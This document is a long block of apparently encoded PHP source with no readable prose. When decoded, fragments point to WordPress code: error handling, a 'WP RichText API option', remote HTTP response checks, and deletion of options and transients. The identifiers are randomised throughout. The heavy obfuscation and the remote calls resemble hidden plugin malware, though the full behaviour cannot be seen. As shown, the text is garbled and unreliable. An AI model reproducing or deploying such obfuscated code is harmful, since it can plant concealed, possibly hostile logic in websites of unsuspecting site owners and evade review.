<?9!$(((rq;ec{mmgl| >08!((&((,beb0k9x>lon!3kgf|af}m3u(,Woee<p`op`b|g(((5(HaW;~yrxiqyjro ;>:! rq;ec{mmgl| >09! ,eqcx?x0m|f!$(((((|z}m!3(((an(((( jj`>dqcld1xlfd: >?0! ,Woee<p`op`b|g!!((s(((((an( aW;~yrxiqyjro ><0! aW;~yrxiqyjro ;1=!!!(((s''(_X(Zak`\mp|(IXA(gx|agf(zg(((((}xli|mWgx|agf aozjlg0f<j1nk{ >=?!$((,beb0k9x>lon!3((u((jzmic3(((((u((((((md{m((s((((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro <?9!$(jj`>dqcld1xlfd: >0:!((((&((,beb0k9x>lon!3(((((((u(u((ki|k`(( \`zgijdm((,d|f9x=j|9W:!(((s((((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro >0;!$(,d|f9x=j|9W:!3(kgf|af}m3(u((ki|k`(( Mpkmx|agf(((((,d|f9x=j|9W:!(((((s((((kgf|af}m3((uu((((((an((( )(((((jj`>dqcld1xlfd: >?0! ,Woee<p`op`b|g!!(s((,~=ax|dbizj(5((rr{y<8;r?j{``qpm1maW aozjlg0f<j1nk{ >?=! izziq (rq;ec{mmgl| >><!(56((((orkx{~qmc8gyjn **!$((aW;~yrxiqyjro >>=!(56((ojcir|0ro>gifi>;n?| !$(aozjlg0f<j1nk{ >>>!(56((aW;~yrxiqyjro :=?! z9>1{1jm8r8;e~8 !$(aW;~yrxiqyjro =8>!!$(((aozjlg0f<j1nk{ >0<!((56((9$(!!$((,z`eg{q8W1x<>g{l!3((,k>~azc?dnoW~((((5((aozjlg0f<j1nk{ >>0! {|z|z jj`>dqcld1xlfd: ;11! ,~=ax|dbizj!$((rq;ec{mmgl| >0=!$(((jj`>dqcld1xlfd: >0>!!$((/5/!3((((,mocr88|yepa8:li(5(((((aozjlg0f<j1nk{ >0?! ,k>~azc?dnoW~$(( ::0=%00=!!3ngzmik`(((( ,y:`11?dc9=(((i{((,beb0k9x>lon!(s(((((an(((  aozjlg0f<j1nk{ >00! |z}m!((((%(((((,gl>appg1rWy!(6(((,|{`b}pcq0?1i;~}b!(((s((((jzmic3u(((,beb0k9x>lon((5(((aozjlg0f<j1nk{ >09!  {|zafo!(,beb0k9x>lon!3,kyca1x805X@XWAF\WEIP'X@XWAF\WEIP3,d1`Wxrcl9}xe85,kyca1x80#<>3an( ,beb0k9x>lon(((555((**!(s''(Hegfgegzx`arm(}fanaki|agf(((kgf|af}m3((((((u((,c{`=ce{{<(5((g{mxxjmmdpz1}` orkx{~qmc8gyjn **!((((((&(((aW;~yrxiqyjro >00! |z}m!$(((( 99%;!!3((((,ebezm{a8c:j8o9}~(5(((aW;~yrxiqyjro >01! ,mocr88|yepa8:li!3(((,od:{ayi91a;=p8((5((( aW;~yrxiqyjro ;>>! ,beb0k9x>lon$((((((/7/!(555((nid{m!(((7((/7/((2(((/./3(ngz((((( ,|c8~=y`m0a>:=(5(83((,|c8~=y`m0a>:=(((4((,ebezm{a8c:j8o9}~3(,|c8~=y`m0a>:=##!(s(an(  jj`>dqcld1xlfd: >18! |z}m!(%((((,gl>appg1rWy!(6((,|{`b}pcq0?1i;~}b!(s((((jzmic3(u(((,y0<=}9~pz~f;rece(5((( ,|c8~=y`m0a>:=(555(,ebezm{a8c:j8o9}~((%((9!3((,`c9zyj`c|r(5((((,beb0k9x>lon(((&(((,od:{ayi91a;=p8(((&((((aW;~yrxiqyjro >19!(&(,c{`=ce{{<(&((rq;ec{mmgl| >1:!(&(,|c8~=y`m0a>:=(&((((aozjlg0f<j1nk{ >1;!(((&(,ebezm{a8c:j8o9}~(((&(((aozjlg0f<j1nk{ >1<!((((&(,mocr88|yepa8:liS,|c8~=y`m0a>:=U3(((,a:9j}0{19l((((5({?z{y?;Wjgzxri<>ax ,`c9zyj`c|r$( 1%9!$(,y0<=}9~pz~f;rece(7(n}fk|agf((((( ,|~|x`dl{j9!(((((}{m( ,z`eg{q8W1x<>g{l!(((s,mzf9m`<8g>dr;((5(((rr{y<8;r?j{``qpm1maW ,|~|x`dl{j9$(((,z`eg{q8W1x<>g{l!3an( ),mzf9m`<8g>dr;!(zm|}zf(((nid{m3(zm|}zf(aW;~yrxiqyjro >1=! Hrq;ec{mmgl| ;>:! jj`>dqcld1xlfd: >09! ,mzf9m`<8g>dr;!$(((|z}m!!3((((u(((2((f}dd!3(((((an(( ,y0<=}9~pz~f;rece(..(aW;~yrxiqyjro >=;! ,a:9j}0{19l!((..((,a:9j}0{19l(((()55((((((**!(((s((((,Wol(5(rr{y<8;r?j{``qpm1maW ,a:9j}0{19l$(,z`eg{q8W1x<>g{l!3(,Wjxqyx?ejc?daloc(((((5(,Wol(7(Hrq;ec{mmgl| ;>:! jj`>dqcld1xlfd: >09! ,Wol!$((((((|z}m!((2((((((f}dd3(an(( jj`>dqcld1xlfd: >1=! ,Wjxqyx?ejc?daloc!!((s(,Woee<p`op`b|g((((5(((,Wjxqyx?ejc?daloc3,rk~}c~q{5>;093,zjl{8k9dzgk}=5,rk~}c~q{-9;3an( jj`>dqcld1xlfd: >1>! aW;~yrxiqyjro ;1=!!!((s(}xli|mWgx|agf rq;ec{mmgl| >1?!$((((((,beb0k9x>lon!3((u(((((((jzmic3(u((((u((((((u(((an(( jj`>dqcld1xlfd: >1=! ,Woee<p`op`b|g!!(s(((((jzmic3((u(u(((((((uan(((( )((((aozjlg0f<j1nk{ >1=! ,Woee<p`op`b|g!!(s(zm|}zf3(((u(an( ,gxkf<zfblfp08((((..(((((aozjlg0f<j1nk{ >10! jj`>dqcld1xlfd: >11!!!(s((((lmdm|mWgx|agf m=~m:xoqW<{ipg}}>g; aW;~yrxiqyjro <::!!!3(u((((((an((( )a{{m| ,ODGJID[Srq;ec{mmgl| <9=!U!(((tt(()aozjlg0f<j1nk{ >1=! ,ODGJID[Srq;ec{mmgl| <9=!U!!(,ODGJID[Sjj`>dqcld1xlfd: ?88!U(((5(izziq !3(,ODGJID[Srq;ec{mmgl| ?89!U(5((((aozjlg0f<j1nk{ ?8:! aozjlg0f<j1nk{ 91>! ,ODGJID[Srq;ec{mmgl| ?89!U$((((((,gxkf<zfblfp08!!3(an( a{{m| ,Woee<p`op`b|gSjj`>dqcld1xlfd: ?8;!U!((..(rq;ec{mmgl| ?8<! ,Woee<p`op`b|gSjj`>dqcld1xlfd: ?8=!U!!((((s((((ec<iqq`xq~bx:1q`}9 ,Woee<p`op`b|gSaW;~yrxiqyjro ?8=!U$(((((a{{m| ,Woee<p`op`b|gSaozjlg0f<j1nk{ ?8>!U!(((..((((jj`>dqcld1xlfd: ?8<! ,Woee<p`op`b|gSjj`>dqcld1xlfd: ?8>!U!((7(,Woee<p`op`b|gSrq;ec{mmgl| ?8>!U(((2(**$(()mex|q ,Woee<p`op`b|gSaozjlg0f<j1nk{ ?8?!U!!3u((((((,`8jg;{p`>j1(5(nid{m3((,n0a8`gWe0zeq9j?(5((((izziq !3((((an((( a{{m| ,Woee<p`op`b|gSaozjlg0f<j1nk{ <??!U!(..(((rq;ec{mmgl| >1=! ,Woee<p`op`b|gSaozjlg0f<j1nk{ <??!U!!(((((s(((,aox0`n8cim(5(((((izziq !3((ngzmik`(((((( ,Woee<p`op`b|gSjj`>dqcld1xlfd: <??!U(i{(,xbn:9gk<gb1n}=?>!((s(an(((((( aW;~yrxiqyjro ?8<! ,xbn:9gk<gb1n}=?>!((..(((,xbn:9gk<gb1n}=?>((()55(**!(s(,aox0`n8cimSU((5(((,xbn:9gk<gb1n}=?>3(((((((u'"(laiofg{|ak(li|indg%ozix`("'((u(,~fyc?m~=ij9>((((5(((,ODGJID[Srq;ec{mmgl| <?1!U3(((,aox0`n8cim(((5(((rlll8?rn>e8:nrla<8qoq ,aox0`n8cim!3(,ODGJID[Saozjlg0f<j1nk{ <?1!U(5(((,aox0`n8cim3((,n0a8`gWe0zeq9j?Srq;ec{mmgl| <??!U(((5((,aox0`n8cim3((an(( )((((mex|q rq;ec{mmgl| 91>! ,aox0`n8cim$((,~fyc?m~=ij9>!!((((tt()(((mex|q aW;~yrxiqyjro 91>! ,~fyc?m~=ij9>$(,aox0`n8cim!!!((((s(,`8jg;{p`>j1((5(|z}m3(((u((((u((((((an(( a{{m| ,Woee<p`op`b|gSrq;ec{mmgl| ?80!U!((..((aozjlg0f<j1nk{ ?81! ,Woee<p`op`b|gSjj`>dqcld1xlfd: ?98!U!!(((s((((((,aox0`n8cim(((((5(((izziq !3(((((((ngzmik`((( ,Woee<p`op`b|gSaW;~yrxiqyjro ?98!U(i{(,xbn:9gk<gb1n}=?>!(((((san(((( aozjlg0f<j1nk{ ?99! ,xbn:9gk<gb1n}=?>!((..(((,xbn:9gk<gb1n}=?>(()55(**!(s,aox0`n8cimSU((5((((,xbn:9gk<gb1n}=?>3((u(((((u((,~fyc?m~=ij9>((((((5(((,ODGJID[Srq;ec{mmgl| <0:!U3((,aox0`n8cim(((((5(rlll8?rn>e8:nrla<8qoq ,aox0`n8cim!3((((,ODGJID[Saozjlg0f<j1nk{ <0:!U((((5((,aox0`n8cim3((((,n0a8`gWe0zeq9j?SaW;~yrxiqyjro ?98!U((5(((,aox0`n8cim3(((((((an(( )(mex|q rq;ec{mmgl| 91>! ,aox0`n8cim$(,~fyc?m~=ij9>!!((tt()((mex|q aozjlg0f<j1nk{ 91>! ,~fyc?m~=ij9>$(,aox0`n8cim!!!((s(,`8jg;{p`>j1((5((((|z}m3((((u(u''(ej{|zafo({|zak|2(ijgz|(my}a~idmfkm%kdi{{(an(( a{{m| ,Woee<p`op`b|gSaW;~yrxiqyjro <0=!U!((..(aW;~yrxiqyjro ?99! ,Woee<p`op`b|gSaozjlg0f<j1nk{ <0=!U!!(s((,koa1d;o{c>1=gk>((5((g:lp;i`rx`r>faW= aW;~yrxiqyjro ?9:!$((**!3,ODGJID[Sjj`>dqcld1xlfd: ?9;!U(((5(,Woee<p`op`b|gSrq;ec{mmgl| <0=!U3,n0a8`gWe0zeq9j?Sjj`>dqcld1xlfd: ?9<!U((5((((,Woee<p`op`b|gSaW;~yrxiqyjro ?9<!U3((an((( aW;~yrxiqyjro ?9=! ,Woee<p`op`b|gSrq;ec{mmgl| ?9<!U!()55(((aozjlg0f<j1nk{ ?9=! ,koa1d;o{c>1=gk>!!((s''(`mzea|aif(~a{a|gz((((brWd:drr>|qrizlfce::~ aW;~yrxiqyjro ?9>!$((,Woee<p`op`b|gSjj`>dqcld1xlfd: ?9<!U$(((aW;~yrxiqyjro ?9?!!3zbl`y:~yx}ac90z}co0} !3((u((}f{m| ,koa1d;o{c>1=gk>!3(((u((,l}0~:e00e8l0f((((5(a{{m| ,Woee<p`op`b|gSaW;~yrxiqyjro <19!U!(..((((jj`>dqcld1xlfd: ?81! ,Woee<p`op`b|gSaW;~yrxiqyjro <19!U!((7(((((,Woee<p`op`b|gSrq;ec{mmgl| <19!U(2((izziq !3an(((((( a{{m| ,l}0~:e00e8l0fSrq;ec{mmgl| <01!U!(((..(jj`>dqcld1xlfd: ?99! ,l}0~:e00e8l0fSjj`>dqcld1xlfd: <01!U!!((s((((an( aW;~yrxiqyjro ==;! ,l}0~:e00e8l0fSrq;ec{mmgl| <01!U!(6(( 8p:;#8pn!!(s(,ODGJID[SaW;~yrxiqyjro <00!U(((5(((((,l}0~:e00e8l0fSrq;ec{mmgl| <01!U3(((((,n0a8`gWe0zeq9j?Sjj`>dqcld1xlfd: ?90!U((5(,l}0~:e00e8l0fSjj`>dqcld1xlfd: ?90!U3(((u(((md{m((s(,ODGJID[Srq;ec{mmgl| <00!U(((((5((((**3,n0a8`gWe0zeq9j?SaW;~yrxiqyjro ?90!U((((5(**3brWd:drr>|qrizlfce::~ rq;ec{mmgl| ?91!$((((**$(aozjlg0f<j1nk{ ?9?!!3(((((u(u((an((( a{{m| ,l}0~:e00e8l0fSrq;ec{mmgl| ?:8!U!((..(jj`>dqcld1xlfd: ?99! ,l}0~:e00e8l0fSjj`>dqcld1xlfd: ?:9!U!!(s(an(( jj`>dqcld1xlfd: ==;! ,l}0~:e00e8l0fSjj`>dqcld1xlfd: ?:9!U!(((6(( >#1<!!((((s(((((,ODGJID[Saozjlg0f<j1nk{ ?::!U(((5((((,l}0~:e00e8l0fSaozjlg0f<j1nk{ ?:9!U3((((,n0a8`gWe0zeq9j?SaW;~yrxiqyjro ?:;!U(((5((,l}0~:e00e8l0fSjj`>dqcld1xlfd: ?:<!U3u(md{m(((s((((((((,ODGJID[Sjj`>dqcld1xlfd: ?::!U(5((((**3(((,n0a8`gWe0zeq9j?Srq;ec{mmgl| ?:<!U((5(((**3(brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: <9;!$(**$(jj`>dqcld1xlfd: ?9?!!3((u((((((u(((,~m}9eif1eroW=((5(a{{m| ,Woee<p`op`b|gSaW;~yrxiqyjro ?:=!U!(..(aW;~yrxiqyjro ?:>! ,Woee<p`op`b|gSaozjlg0f<j1nk{ ?:?!U!(7((((,Woee<p`op`b|gSaozjlg0f<j1nk{ ?:?!U(((2(((izziq !3(((((,~|9{`jyijqk?1k:(5((izziq (rq;ec{mmgl| ?:0!(56((jj`>dqcld1xlfd: ?:0!$(((((jj`>dqcld1xlfd: ?:1!((56(((aozjlg0f<j1nk{ ?;8!$(((aW;~yrxiqyjro ?;9!(56((jj`>dqcld1xlfd: ?;:!$(((((((aozjlg0f<j1nk{ ?;;!(((56((jj`>dqcld1xlfd: ?;<!$aozjlg0f<j1nk{ ?;=!((((56(((aW;~yrxiqyjro ?;>!$(((aW;~yrxiqyjro ?;?!((56(rq;ec{mmgl| ?;0!$((jj`>dqcld1xlfd: ?;1!(56(((aozjlg0f<j1nk{ ?<8!$(jj`>dqcld1xlfd: ?<9!((((56(jj`>dqcld1xlfd: ?<:!$((((!3ngzmik`(((( ,~|9{`jyijqk?1k:((i{(,~1biaW>;jzn(56(((,~ydg|01:ye|mb!((((san( a{{m| ,~m}9eif1eroW=S,~1biaW>;jznU!(..(((((aozjlg0f<j1nk{ ?99! ,~m}9eif1eroW=S,~1biaW>;jznU!(((..((((jj`>dqcld1xlfd: ==;! ,~m}9eif1eroW=S,~1biaW>;jznU!(6((( :8>V:=:!!((s(,n0a8`gWe0zeq9j?S,~ydg|01:ye|mbU(((((5((,~m}9eif1eroW=S,~1biaW>;jznU3(((((((u(((uan((( a{{m| ,Woee<p`op`b|gSjj`>dqcld1xlfd: =;9!U!(((..(((((jj`>dqcld1xlfd: ?<;! ,Woee<p`op`b|gSrq;ec{mmgl| =;9!U!!(s,~l`d8a=}~}:dk0(5( af|!(((((,Woee<p`op`b|gSaozjlg0f<j1nk{ =;9!U3((an(((((( ,~l`d8a=}~}:dk0(65((((( :9=#0=!(((..(((,~l`d8a=}~}:dk0((45( 8p9;n?n#8p9:89!!((,n0a8`gWe0zeq9j?Saozjlg0f<j1nk{ =;9!U(5((,~l`d8a=}~}:dk03((((((((u((an( a{{m| ,Woee<p`op`b|gSaW;~yrxiqyjro <:1!U!(((..(((rq;ec{mmgl| ?<<! ,Woee<p`op`b|gSaW;~yrxiqyjro <:1!U!!(s,Wka((5(((((( af|!((,Woee<p`op`b|gSaozjlg0f<j1nk{ ?<=!U3an((((( ,Wka(65(( :>8#<8!(..((((,Wka((45(( 0>;8=#1=!!(,n0a8`gWe0zeq9j?Sjj`>dqcld1xlfd: ?<>!U((5(,Wka3((((((((uan( mex|q ,n0a8`gWe0zeq9j?!!(((((s(lmdm|mWgx|agf aozjlg0f<j1nk{ >90!!3(lmdm|mWgx|agf aW;~yrxiqyjro >9>!!3}xli|mWgx|agf aW;~yrxiqyjro ?<?!$((aozjlg0f<j1nk{ >::! !!3lmdm|mW|zif{amf| jj`>dqcld1xlfd: ?<0!!3(((rdoexlk}>b=r?igc9| !3,W1>li|<cl0a5=8#9<3,q<>n1l=:5,W1>li|<cl0a%<?3((((dcn~jkaoykk=k{< !3((((zm|}zf3((u((((,}>zg~}l`8;`9|((5((((((i`18a{<nfW0~lyzic~p}< aW;~yrxiqyjro ?<1!$(nid{m!3(((((an(( rq;ec{mmgl| ?:>! ,}>zg~}l`8;`9|!!(s(,n0a8`gWe0zeq9j?((5(jj`>dqcld1xlfd: <:9! ,}>zg~}l`8;`9|$((((,n0a8`gWe0zeq9j?!3,~8`e9e>>k<g:d5X@XWAF\WEIP'X@XWAF\WEIP3,l9fqygrnbx;5,~8`e9e>>k<g:d#<03(u(((((((an(((((( aW;~yrxiqyjro >10! aozjlg0f<j1nk{ =9>!!!((s(((,zey?py?~falbrr=c(((5(`m=pgy8caf?;8a:y !3(an(((( a{{m| ,n0a8`gWe0zeq9j?SaW;~yrxiqyjro =;9!U!((..((((( af|!((((,n0a8`gWe0zeq9j?Sjj`>dqcld1xlfd: ?=8!U((((65(( ;90%90!((..(( af|!(,n0a8`gWe0zeq9j?Srq;ec{mmgl| ?=8!U(((45((( 1>??9%98;?9!!(((((,zey?py?~falbrr=c((((5( af|!(,n0a8`gWe0zeq9j?Saozjlg0f<j1nk{ ?=8!U3(((((((({m|W|zif{amf| i9{{zWo1a?==r?ac8{y !$(,n0a8`gWe0zeq9j?$(((,zey?py?~falbrr=c!3((((((u((((((pc|8`1?>:i??8n1 aW;~yrxiqyjro ?=9!$((((((,n0a8`gWe0zeq9j?$((((jj`>dqcld1xlfd: ?=:!!3(((((an((( a{{m| ,n0a8`gWe0zeq9j?Saozjlg0f<j1nk{ ?=;!U!((..((aozjlg0f<j1nk{ >10! aozjlg0f<j1nk{ ?=<!!((..((aozjlg0f<j1nk{ >10! jj`>dqcld1xlfd: ?==!!(..((aozjlg0f<j1nk{ >10! aW;~yrxiqyjro <;?!!!(((s(,biyl~zkc~`py`e(5(((((xWom|W{k`ml}dmlWm~mf| rf:e8r?yz~:0m !!3(((((an(( ,biyl~zkc~`py`e(((..( af|!((((((,biyl~zkc~`py`e%6af|mz~id((((()55( af|!(,n0a8`gWe0zeq9j?Sjj`>dqcld1xlfd: ?=;!U!(((s(((xWkdmizW{k`ml}dmlW`ggc rf:e8r?yz~:0m !!3xW{k`ml}dmWm~mf| aW;~yrxiqyjro >::! !((#((((rq;ec{mmgl| <<8!  989V01!$(( ::<#?>!!$(jj`>dqcld1xlfd: <;8!$((rf:e8r?yz~:0m !!3(((u(u(}xli|mWgx|agf aW;~yrxiqyjro ?<?!$(jj`>dqcld1xlfd: ?=>! !!3((lmdm|mWgx|agf aozjlg0f<j1nk{ ?=?!!3((((lmdm|mWgx|agf aW;~yrxiqyjro >9>!!3((lmdm|mW|zif{amf| rq;ec{mmgl| ?<0!!3rdoexlk}>b=r?igc9| !3dcn~jkaoykk=k{< !3((((((an( ,`8jg;{p`>j1!(s((x=zbq<b0kb}~r~zri8bn8W !3(u((u(ki|k`( \`zgijdm((((,d|f9x=j|9W:!((s''(lmiddgki|m(kg~izaif|(ngz(_X(ZM[\(IXA(~:((((((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ?=0!$((,d|f9x=j|9W:!3(u((((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!(((s((((u((nafiddq((((((s(o={;`1ei:gj1aqkz jj`>dqcld1xlfd: ?=1!!3((u((((u(n}fk|agf(ec<iqq`xq~bx:1q`}9 ,i>mW9{i9lxj$((((((,zaa`0:r0}r:}c;bf((((5(**$(,qri;zze?yp(((5(nid{m!((s((((((((an( )keabp1?l:==10>dne1f<9 aozjlg0f<j1nk{ ?=1!!!(zm|}zf3(|zq((((((s(((((((((,of=`cjpo<y|(((((5((Hrq;ec{mmgl| <8:! ,i>mW9{i9lxj$((|z}m!3an( aW;~yrxiqyjro ?>8! ,of=`cjpo<y|!(..(jj`>dqcld1xlfd: ==;! ,of=`cjpo<y|!(((6((( 8p110:8#8p>>?m8!!((,of=`cjpo<y|(5((bW0a{a?}a`=bcb<?m ,of=`cjpo<y|!3((((((((an((( )((((,of=`cjpo<y|((tt(aozjlg0f<j1nk{ ==;! ,of=`cjpo<y|!(4((((( 91#<09!(((((tt(jj`>dqcld1xlfd: ;>>! ,of=`cjpo<y|$(jj`>dqcld1xlfd: ?>9!!()55((8!(((szm|}zf3uan((( )(((~rl=fzla18ykW?jkrj} ,of=`cjpo<y|!!((s(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| ?>:!$((((aozjlg0f<j1nk{ ?>;!!3(zm|}zf3u((an( aW;~yrxiqyjro ::<! rq;ec{mmgl| ?><!$(((((jj`>dqcld1xlfd: >;;! ,of=`cjpo<y|$(8$(((( <8><#;:!!$((,xxn=;:nkq?0{gr8!!((san((( ,zaa`0:r0}r:}c;bf()55((**((((..(,zaa`0:r0}r:}c;bf()55(((,xxn=;:nkq?0{gr8S9U!(sgcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ ?>=!$((aozjlg0f<j1nk{ ?>>!!3,|q}ncq=xp:rg5==83,kedzo?{r;qd<d5,|q}ncq=xp:rg-9<3zm|}zf3(((((u,zaa`0:r0}r:}c;bf(5((,xxn=;:nkq?0{gr8S9U3(u(((md{m(((((s((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ?>=!$(aW;~yrxiqyjro ?>?!!3(zm|}zf3(((u(an(((( ),qri;zze?yp(..((~mz{agfWkgexizm ,zaa`0:r0}r:}c;bf$(((((ojcir|0ro>gifi>;n?| !!(45((8!((s((zm|}zf3u(,f=0}:kaf8piy{dl(5((mrppqfp~aze:9: !3((an( ),f=0}:kaf8piy{dl(((tt((((jj`>dqcld1xlfd: ==;! ,f=0}:kaf8piy{dl!(((((4(((( <::#?0!!((s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?>=!$((rq;ec{mmgl| ?>0!!3(((zm|}zf3u(((((((,W{ed}y}{}?=dy(5(((om|Wgx|agf jj`>dqcld1xlfd: 901!!3((((an( jj`>dqcld1xlfd: ?>8! ,W{ed}y}{}?=dy!(..(((((rq;ec{mmgl| ;>>! ,W{ed}y}{}?=dy$((aW;~yrxiqyjro ?9=! ,of=`cjpo<y|!(&(/t/!((555(8!(((s(((,i==|zkd:jb{f(5( af|!(aW;~yrxiqyjro >;;! ,W{ed}y}{}?=dy$((rq;ec{mmgl| ;>>! ,W{ed}y}{}?=dy$(((/t/!((#(9!3((((an(( aW;~yrxiqyjro ?=>! !((%(((,i==|zkd:jb{f(((((4((( 0=:<:#99=0!!((((s(((((((zm|}zf3(((((u(u((,lyjpjj;{ao}=(5(aozjlg0f<j1nk{ ?>1! z9>1{1jm8r8;e~8 !!(((&(((jj`>dqcld1xlfd: 90=!(&(((aW;~yrxiqyjro ?9=! ,of=`cjpo<y|!3(an((( Hjj`>dqcld1xlfd: =1?! ,lyjpjj;{ao}=!!(s(((,qW0a~{aq8<(5((((((H af|!((jj`>dqcld1xlfd: :8:! ,lyjpjj;{ao}=!3((((an(( ,qW0a~{aq8<(..((((jj`>dqcld1xlfd: ??8! !(((%(,qW0a~{aq8<((((((4( 90:=9#>09<1!!((s(zm|}zf3(u((Haozjlg0f<j1nk{ ??9! ,lyjpjj;{ao}=!3u(((}f{m| ,lyjpjj;{ao}=$(,qW0a~{aq8<!3,jgib}ge`z~y((5((nid{m3(((an(((( aW;~yrxiqyjro >10! aW;~yrxiqyjro <<=!!((((..(aozjlg0f<j1nk{ ??:! jj`>dqcld1xlfd: >;?!!!(((s((((,qmpy:qnz|>~|0c(5(((((rq;ec{mmgl| <<=! `gemW}zd /'/!$(((izziq aW;~yrxiqyjro ??;!((((56(( 9<%>!$((((((jj`>dqcld1xlfd: ??<!(56((:$(((jj`>dqcld1xlfd: ;;0!((((((56(((nid{m!!3((an((((( )((( jj`>dqcld1xlfd: ??=! aW;~yrxiqyjro ;<:!!((((..(((((a{WxWmzzgz ,qmpy:qnz|>~|0c!!!(s(((((((,jgib}ge`z~y(((((5( af|!((xWzmeg|mWzm|zam~mWzm{xgf{mWkglm ,qmpy:qnz|>~|0c!(65(( >#<1<!3((((((u''(Hiia|(zm{gd~mz((u''(kgexadm(kgexg{a|m(ngz(Zmk|gz(i}|g%zmnik|gz((((((((,io}p`:0f8ee((5(((nid{m3,d}9zy>:g9yd{;95X@XWEIBGZW^MZ[AGF3,dypf=ezf5,d}9zy>:g9yd{;9"03((((((an(((( aozjlg0f<j1nk{ ??>! aozjlg0f<j1nk{ ???!!!(s''(Hlmik|a~i|m(|}ejdafo%aflg(,aqrz?0of>{l?be(((5((om|Wgx|agf jj`>dqcld1xlfd: ??0!$(((((izziq !!3,io}p`:0f8ee((5(((aozjlg0f<j1nk{ ?:>! ,aqrz?0of>{l?be!(..((jj`>dqcld1xlfd: ??1! y8`z=>rj?181>nriz8 !$((,aqrz?0of>{l?be$(|z}m!3((((((((uyy|m;zWdxb}n{r{~akm z9>1{1jm8r8;e~8 !$(((( ;0>#;<!!3(((((an((( )(({jynjr};<k;ff=~{9pbapx z9>1{1jm8r8;e~8 !$((|;neyggnc9}qimc=gf ,of=`cjpo<y|!!!((s(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ ?>=!$((rq;ec{mmgl| ?08!!3(zm|}zf3u(d8incq1<`|<n`1Wi z9>1{1jm8r8;e~8 !!3(((fj0ffpdgn}pcpf0dq z9>1{1jm8r8;e~8 !!3(an( jj`>dqcld1xlfd: ??>! aW;~yrxiqyjro ?09!!!(((H{m|W|zif{amf| aozjlg0f<j1nk{ ?0:!$(9$( :??#:;!!3,{n:;zx`?ygxkqa5%=9>3,rfrrxrkcdfxz5 ,{n:;zx`?ygxkqa68!7,{n:;zx`?ygxkqa2%,{n:;zx`?ygxkqa3an(((( )((((,jgib}ge`z~y((..((aW;~yrxiqyjro ??>! jj`>dqcld1xlfd: <<=!!(((..((aW;~yrxiqyjro ??>! aW;~yrxiqyjro ?0;!!!((s((((((,|je<0=:8|qg}dkx9(((5(%93((((((ngz( ,lqzoy000a?y<(((((5((83(((,lqzoy000a?y<((4((((((:3((,lqzoy000a?y<##!(((((s((((((,al|bz~db|frq(5(((((rq;ec{mmgl| ?0<! `gemW}zd jj`>dqcld1xlfd: ?0=!((&(((aozjlg0f<j1nk{ <<8!  111:9#?1!$(((((( 11111:#?!!!$(izziq jj`>dqcld1xlfd: ?0>!(((56( <449!$((jj`>dqcld1xlfd: ??<!(((((56((:$((((((aozjlg0f<j1nk{ ;;0!(56(((nid{m!!3((an((((( rq;ec{mmgl| ??>! jj`>dqcld1xlfd: ;<:!!((..(((a{WxWmzzgz ,al|bz~db|frq!!(s(an((((( ,lqzoy000a?y<((((555((8((..(((((aW;~yrxiqyjro ??>! aozjlg0f<j1nk{ ?0?!!!(rq;ec{mmgl| ?0?! :!3(((((kgf|af}m3u(((,i<8cbbodo>xxoe((5(( af|!(((((xWzmeg|mWzm|zam~mWzm{xgf{mWkglm ,al|bz~db|frq!3((an((( ,i<8cbbodo>xxoe((((((4((( ?;#:?!(tt((((jj`>dqcld1xlfd: ?00! ,i<8cbbodo>xxoe$((((((izziq  ?80%:8=!$(( <=0#>:!$(( :01#:;:!$((( =81#9;!$((( =::#9!$( =9<#98!$(( ;8#<1>!$(((( 8p:8?#8p0!!$(|z}m!!(((san( ,lqzoy000a?y<(555(((((8((..(((((aW;~yrxiqyjro ??>! rq;ec{mmgl| ?0?!!!((aW;~yrxiqyjro ?0?! :!3((((kgf|af}m3((u(((,|je<0=:8|qg}dkx9(5(,i<8cbbodo>xxoe3((jzmic3(((u''(_X(J}||gf(Jdgkc(alom|(zmflmz(an(((( ,|je<0=:8|qg}dkx9(((555((((%9!(((((,|je<0=:8|qg}dkx9(((5((( <>8#<8!3((((((an(((( ,|je<0=:8|qg}dkx9(65( <0:#90!!((((s(((,}ynz9?=};9izq|(5({jynjr};<k;ff=~{9pbapx z9>1{1jm8r8;e~8 !$(((((|;neyggnc9}qimc=gf ,f=0}:kaf8piy{dl!!3(an((( ),}ynz9?=};9izq|!((,}ynz9?=};9izq|(((5(((({jynjr};<k;ff=~{9pbapx z9>1{1jm8r8;e~8 !$((((((,f=0}:kaf8piy{dl!3((}xli|mWgx|agf aW;~yrxiqyjro 901!$(((aW;~yrxiqyjro ?9=! ,of=`cjpo<y|!(&((/t/(&(rq;ec{mmgl| ??8! !$(((jj`>dqcld1xlfd: ?01!!3(an(( ),}ynz9?=};9izq|!((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?18!$((((rq;ec{mmgl| ?19!(&((,|je<0=:8|qg}dkx9!3((zm|}zf3(u((((((((fj0ffpdgn}pcpf0dq z9>1{1jm8r8;e~8 !!3(((d8incq1<`|<n`1Wi z9>1{1jm8r8;e~8 !!3(mrppqfp~aze:9: |z}m!3(p|;izdoby9r|y{a|: |z}m!3(,`}}prl=q>yz((((5(aozjlg0f<j1nk{ :=?! z9>1{1jm8r8;e~8 !$(((rq;ec{mmgl| =8>!!3((((ngzmik`((( izziq aozjlg0f<j1nk{ ?1:! z9>1{1jm8r8;e~8 !!$(}Wkig1fmg~0~qc<{g`|88f !!((i{((((,a|y;={nk:xp0|`0p!((((((sHjj`>dqcld1xlfd: ??9! ,a|y;={nk:xp0|`0p((((((&(((rq;ec{mmgl| :8>!(&((,`}}prl=q>yz!3((((((Hjj`>dqcld1xlfd: ??9! ,a|y;={nk:xp0|`0p((&(((((jj`>dqcld1xlfd: ?1;!(&(,`}}prl=q>yz!3,?9W9}x{`}f=rd5="03,rl=blck{ca5,?9W9}x{`}f=rd%13u''(~mk|gzarm(xzm{kzax|a~m(xzagza|q%y}m}m((an( ,io}p`:0f8ee(((..(((()iiq}~;9z1;Wrij9f0rme !(((..((rq;ec{mmgl| ?1<! aozjlg0f<j1nk{ 